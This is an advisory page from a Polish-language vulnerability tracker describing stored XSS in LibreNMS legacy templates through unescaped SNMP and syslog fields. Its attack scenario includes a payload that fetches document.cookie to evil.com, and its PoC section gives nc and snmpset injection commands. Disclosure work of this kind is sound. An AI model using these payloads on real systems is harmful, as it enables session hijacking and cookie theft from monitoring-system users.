Wysoka

LibreNMS — Stored XSS via SNMP/Syslog Data in Legacy Templates

  • Ujawniono: 26.08.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

Multiple legacy PHP template files in LibreNMS directly output SNMP-sourced and syslog-sourced data into HTML without escaping. An attacker who controls a monitored network device (via compromised SNMP agent or syslog sender) can inject arbitrary JavaScript that executes when any authenticated LibreNMS user views the affected pages.

Vulnerable Code

Location 1: Syslog program field (clearest instance)

File: includes/html/print-syslog.inc.php:11,13

php
$syslog_output .= '<td><strong>' . $entry['program'] . ' : </strong> ' . htmlspecialchars((string) $entry['msg']) . '</td>';

The program field is output without htmlspecialchars() while the adjacent msg field IS properly escaped. The program value comes from syslog messages received from monitored devices.

Location 2: Alert details ifAlias (highest impact — main alerts page)

File: includes/html/functions.inc.php:607

php
$fault_detail .= $tmp_alerts['ifAlias'] . '; ';

The ifAlias (port description) comes from SNMP polling and is stored in the ports table. When a port-related alert fires, format_alert_details() renders it unescaped. Multiple other fields in this function are also unescaped: isisISAdjIPAddrAddress (line 598), service_desc/service_message (lines 656,658), bgpPeerDescr (line 672), mempool_descr (line 686), app_type (line 709).

Location 3: Health pages — mempool_descr, storage_descr, sensor_descr

File: includes/html/pages/device/health/mempool.inc.php:38

php
echo "<h3 class='panel-title'>{$mempool->mempool_descr} ...";

File: includes/html/pages/device/health/storage.inc.php:27

php
echo "<h3 class='panel-title'>{$drive['storage_descr']} ...";

File: includes/html/pages/device/health/sensors.inc.php:29

php
echo "<h3 class='panel-title'>$sensor_descr ...";

All three health page templates output SNMP-polled descriptions directly into <h3> tags without escaping.

Location 4: Pseudowires ifAlias

File: includes/html/pages/pseudowires.inc.php:76

php
echo "<tr ...><td colspan=2>" . $pw_a['ifAlias'] . '</td><td colspan=2>' . $pw_b['ifAlias'] . '</td></tr>';

Location 5: VRF page ifAlias

File: includes/html/pages/routing/vrf.inc.php:165

php
echo "<div style='font-size: 9px;'>" . substr((string) short_port_descr($port['ifAlias']), 0, 22) . '</div>';

Data Flow

Attacker-controlled SNMP device/syslog source
  → SNMP polling stores ifAlias/mempool_descr/etc in DB (no sanitization on write)
  → OR syslog receiver stores program field in syslog table
  → Authenticated user views alerts/health/syslog page
  → Legacy PHP template echoes raw value into HTML
  → XSS executes in victim's browser session

Attack Scenario

  1. Attacker compromises or controls a network device monitored by LibreNMS
  2. Attacker configures the device's SNMP interface description (ifAlias) to: <img src=x onerror="fetch('https://evil.com/'+document.cookie)">
  3. LibreNMS polls the device via SNMP and stores the malicious ifAlias in the ports table
  4. When any alert fires for this port, the XSS payload executes for every authenticated user viewing the alerts page
  5. Alternatively: attacker sends syslog messages with XSS in the program field, targeting the syslog viewer page

PoC

Syslog vector (simplest)

bash
# Send syslog message with XSS in program field
# Assuming LibreNMS syslog receiver is at 10.0.0.1:514
echo '<14>Mar 20 12:00:00 rogue-device <img/src=x onerror=alert(document.domain)>: test message' | nc -u 10.0.0.1 514

SNMP vector

bash
# On attacker-controlled SNMP device, set interface description:
# snmpset -v2c -c private localhost IF-MIB::ifAlias.1 s '<img src=x onerror=alert(document.cookie)>'
# LibreNMS will poll this during next discovery/polling cycle

Contrast with Properly Escaped Code

Newer Blade templates and some legacy code properly escape SNMP data:

  • includes/html/dev-overview-data.inc.php uses Clean::html() for sysDescr, sysName, hardware
  • app/Http/Controllers/Device/Tabs/PortsController.php uses htmlentities() on ifAlias
  • app/Http/Controllers/Table/EventlogController.php:97 uses htmlspecialchars() on message
  • All Blade templates use {{ }} auto-escaping

The vulnerability exists specifically in the legacy includes/html/ PHP files that have not been migrated to Blade.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka Composer librenms/librenms < 26.5.0 26.5.0

Odnośniki

Ocena CVSS 7.1/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
Słabość (CWE)
CWE-79
Platforma
Composer
Paczka
librenms/librenms
Ujawniono
26.08.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-7w8c-qgxg-m7jx - CC BY 4.0

Historia podatności: librenms/librenms

Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (106) w archiwum
Wszystkich wpisów
106
Pierwsza → ostatnia
10.2019 08.2026
Bez poprawki
6
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 5
  • Wysoka 39
  • Średnia 56
  • Niska 6

Ujawnienia w latach

  1. 2019: 6
  2. 2020: 0
  3. 2021: 7
  4. 2022: 26
  5. 2023: 12
  6. 2024: 24
  7. 2025: 15
  8. 2026: 16
Istotność:
  1. LibreNMS — Stored XSS via SNMP/Syslog Data in Legacy Templates ten wpis
    Wysoka · 7.1 CVE-2026-84192 < 26.5.0 26.5.0
  2. Wysoka CVE-2026-6204 >= 1.48, < 26.3.0 26.3.0
  3. Wysoka · 7.1 CVE-2020-36947 <= 1.46 brak poprawki
  4. Krytyczna · 9.1 CVE-2024-51092 < 24.10.0 24.10.0
  5. Wysoka · 7.8 CVE-2023-5591 < 23.10.0 23.10.0
  6. Wysoka · 8.4 CVE-2023-5060 < 23.9.1 23.9.1
  7. Wysoka · 7.6 CVE-2023-4347 < 23.8.0 23.8.0
  8. Wysoka · 8.8 CVE-2022-3525 < 22.10.0 22.10.0
  9. Wysoka · 7.6 CVE-2022-4068 < 22.10.0 22.10.0
  10. Krytyczna · 9.8 CVE-2022-4070 < 22.10.0 22.10.0
  11. Wysoka CVE-2022-29712 < 22.4.0 22.4.0
  12. Krytyczna · 9.8 CVE-2019-10665 <= 1.47 brak poprawki
  13. Krytyczna · 9.8 CVE-2018-20434 = 1.46 brak poprawki
  14. Wysoka · 8.8 CVE-2018-20678 < 1.65 1.65
  15. Wysoka · 7.1 CVE-2022-0580 < 22.2.0 22.2.0
  16. Wysoka · 7.1 CVE-2022-0587 < 22.2.0 22.2.0
  17. Krytyczna · 9.8 CVE-2021-44278 <= 21.11.0 brak poprawki
  18. Wysoka · 8.8 CVE-2020-15877 < 1.65.1 1.65.1
  19. Wysoka · 8.8 CVE-2020-35700 < 21.1.0 21.1.0
  20. Wysoka · 8.8 CVE-2019-10671 < 1.50.1 1.50.1
  21. Wysoka · 8.1 CVE-2019-12465 < 1.53 1.53
  22. Wysoka · 7.5 CVE-2019-12464 < 1.53 1.53
  23. Wysoka · 8.8 CVE-2019-12463 >= 1.50.1, < 1.53 1.53

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.